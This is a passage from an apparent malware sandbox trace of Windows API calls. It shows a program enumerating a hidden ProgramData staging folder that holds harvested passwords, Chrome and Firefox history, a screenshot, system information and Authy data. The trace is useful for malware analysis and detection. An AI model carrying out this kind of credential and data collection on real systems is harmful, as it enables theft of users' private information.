lpString2="..") returned 1 [0053.722] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\*.*" [0053.722] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x58a540 [0053.722] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\." [0053.722] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0053.722] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0053.722] lstrcatW (in: lpString1="\\Files\\", lpString2="." | out: lpString1="\\Files\\.") returned="\\Files\\." [0053.722] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.722] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.722] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\.." [0053.722] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0053.722] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0053.722] lstrcatW (in: lpString1="\\Files\\", lpString2=".." | out: lpString1="\\Files\\..") returned="\\Files\\.." [0053.722] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.722] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.722] FindNextFileW (in: hFindFile=0x58a540, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.722] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\" [0053.722] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\", lpString2="Default.zip" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\Default.zip") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Files\\Default.zip" [0053.722] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Files" | out: lpString1="\\Files") returned="\\Files" [0053.722] lstrcatW (in: lpString1="\\Files", lpString2="\\" | out: lpString1="\\Files\\") returned="\\Files\\" [0053.722] lstrcatW (in: lpString1="\\Files\\", lpString2="Default.zip" | out: lpString1="\\Files\\Default.zip") returned="\\Files\\Default.zip" [0053.722] PathMatchSpecW (pszFile="Default.zip", pszSpec="*.*") returned 1 [0053.722] GetDesktopWindow () returned 0x10010 [0053.723] GetTickCount () returned 0x2165c [0053.723] GetLastError () returned 0x0 [0053.723] PathMatchSpecW (pszFile="Files", pszSpec="*.*") returned 1 [0053.724] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.724] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.724] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.724] lstrcatW (in: lpString1="\\", lpString2="History" | out: lpString1="\\History") returned="\\History" [0053.724] lstrcmpW (lpString1="History", lpString2=".") returned 1 [0053.724] lstrcmpW (lpString1="History", lpString2="..") returned 1 [0053.724] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\*.*" [0053.724] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x58a3c0 [0053.724] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\." [0053.724] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0053.724] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0053.724] lstrcatW (in: lpString1="\\History\\", lpString2="." | out: lpString1="\\History\\.") returned="\\History\\." [0053.724] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.724] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.724] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\" [0053.724] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\.." [0053.724] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0053.724] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0053.725] lstrcatW (in: lpString1="\\History\\", lpString2=".." | out: lpString1="\\History\\..") returned="\\History\\.." [0053.725] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.725] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.725] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.725] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.725] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\" [0053.725] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\", lpString2="Google Chrome_Default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\Google Chrome_Default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\Google Chrome_Default.txt" [0053.725] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0053.725] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0053.725] lstrcatW (in: lpString1="\\History\\", lpString2="Google Chrome_Default.txt" | out: lpString1="\\History\\Google Chrome_Default.txt") returned="\\History\\Google Chrome_Default.txt" [0053.725] PathMatchSpecW (pszFile="Google Chrome_Default.txt", pszSpec="*.*") returned 1 [0053.725] GetDesktopWindow () returned 0x10010 [0053.725] GetTickCount () returned 0x2166c [0053.725] GetLastError () returned 0x0 [0053.726] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History" [0053.726] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\" [0053.726] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\", lpString2="history_Mozilla Firefox_8i341t8m.default.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\history_Mozilla Firefox_8i341t8m.default.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\History\\history_Mozilla Firefox_8i341t8m.default.txt" [0053.726] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\History" | out: lpString1="\\History") returned="\\History" [0053.726] lstrcatW (in: lpString1="\\History", lpString2="\\" | out: lpString1="\\History\\") returned="\\History\\" [0053.726] lstrcatW (in: lpString1="\\History\\", lpString2="history_Mozilla Firefox_8i341t8m.default.txt" | out: lpString1="\\History\\history_Mozilla Firefox_8i341t8m.default.txt") returned="\\History\\history_Mozilla Firefox_8i341t8m.default.txt" [0053.726] PathMatchSpecW (pszFile="history_Mozilla Firefox_8i341t8m.default.txt", pszSpec="*.*") returned 1 [0053.726] GetDesktopWindow () returned 0x10010 [0053.726] GetTickCount () returned 0x2166c [0053.726] GetLastError () returned 0x0 [0053.727] PathMatchSpecW (pszFile="History", pszSpec="*.*") returned 1 [0053.727] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.727] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.727] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="information.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\information.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\information.txt" [0053.727] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.728] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.728] lstrcatW (in: lpString1="\\", lpString2="information.txt" | out: lpString1="\\information.txt") returned="\\information.txt" [0053.728] PathMatchSpecW (pszFile="information.txt", pszSpec="*.*") returned 1 [0053.728] GetDesktopWindow () returned 0x10010 [0053.728] GetTickCount () returned 0x2166c [0053.728] GetLastError () returned 0x0 [0053.729] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.729] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.729] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="passwords.txt" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\passwords.txt") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\passwords.txt" [0053.729] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.729] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.729] lstrcatW (in: lpString1="\\", lpString2="passwords.txt" | out: lpString1="\\passwords.txt") returned="\\passwords.txt" [0053.729] PathMatchSpecW (pszFile="passwords.txt", pszSpec="*.*") returned 1 [0053.729] GetDesktopWindow () returned 0x10010 [0053.729] GetTickCount () returned 0x2166c [0053.729] GetLastError () returned 0x0 [0053.729] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.729] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.729] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="screenshot.jpg" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\screenshot.jpg") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\screenshot.jpg" [0053.729] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.729] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.729] lstrcatW (in: lpString1="\\", lpString2="screenshot.jpg" | out: lpString1="\\screenshot.jpg") returned="\\screenshot.jpg" [0053.729] PathMatchSpecW (pszFile="screenshot.jpg", pszSpec="*.*") returned 1 [0053.730] GetDesktopWindow () returned 0x10010 [0053.730] GetTickCount () returned 0x2166c [0053.730] GetLastError () returned 0x0 [0053.737] lstrcpyW (in: lpString1=0x19f828, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\", lpString2="Soft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" [0053.737] lstrcpyW (in: lpString1=0x19f61c, lpString2="" | out: lpString1="") returned="" [0053.737] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0053.737] lstrcatW (in: lpString1="\\", lpString2="Soft" | out: lpString1="\\Soft") returned="\\Soft" [0053.737] lstrcmpW (lpString1="Soft", lpString2=".") returned 1 [0053.737] lstrcmpW (lpString1="Soft", lpString2="..") returned 1 [0053.737] lstrcpyW (in: lpString1=0x19ea84, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\*.*" [0053.737] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\*.*", lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 0x589fc0 [0053.737] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\." [0053.737] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0053.737] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0053.737] lstrcatW (in: lpString1="\\Soft\\", lpString2="." | out: lpString1="\\Soft\\.") returned="\\Soft\\." [0053.737] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.737] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.737] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\" [0053.737] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\.." [0053.737] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0053.737] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0053.737] lstrcatW (in: lpString1="\\Soft\\", lpString2=".." | out: lpString1="\\Soft\\..") returned="\\Soft\\.." [0053.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.738] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.738] FindNextFileW (in: hFindFile=0x589fc0, lpFindFileData=0x19e78c | out: lpFindFileData=0x19e78c) returned 1 [0053.738] lstrcpyW (in: lpString1=0x19ee9c, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\", lpString2="Authy" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" [0053.738] lstrcpyW (in: lpString1=0x19ec90, lpString2="\\Soft" | out: lpString1="\\Soft") returned="\\Soft" [0053.738] lstrcatW (in: lpString1="\\Soft", lpString2="\\" | out: lpString1="\\Soft\\") returned="\\Soft\\" [0053.738] lstrcatW (in: lpString1="\\Soft\\", lpString2="Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0053.738] lstrcmpW (lpString1="Authy", lpString2=".") returned 1 [0053.738] lstrcmpW (lpString1="Authy", lpString2="..") returned 1 [0053.738] lstrcpyW (in: lpString1=0x19e0f8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\*.*") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\*.*" [0053.738] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\*.*", lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 0x58a2c0 [0053.738] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\." [0053.738] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0053.738] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0053.738] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2="." | out: lpString1="\\Soft\\Authy\\.") returned="\\Soft\\Authy\\." [0053.738] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.738] FindNextFileW (in: hFindFile=0x58a2c0, lpFindFileData=0x19de00 | out: lpFindFileData=0x19de00) returned 1 [0053.738] lstrcpyW (in: lpString1=0x19e510, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\" [0053.738] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Soft\\Authy\\.." [0053.738] lstrcpyW (in: lpString1=0x19e304, lpString2="\\Soft\\Authy" | out: lpString1="\\Soft\\Authy") returned="\\Soft\\Authy" [0053.738] lstrcatW (in: lpString1="\\Soft\\Authy", lpString2="\\" | out: lpString1="\\Soft\\Authy\\") returned="\\Soft\\Authy\\" [0053.738] lstrcatW (in: lpString1="\\Soft\\Authy\\", lpString2=".." | out: lpString1="\\Soft\\Authy\\..") returned="\\Soft\\Authy\\.." [0053.738] lstrcmpW (lpString1="..", lpString2=".") returned 1 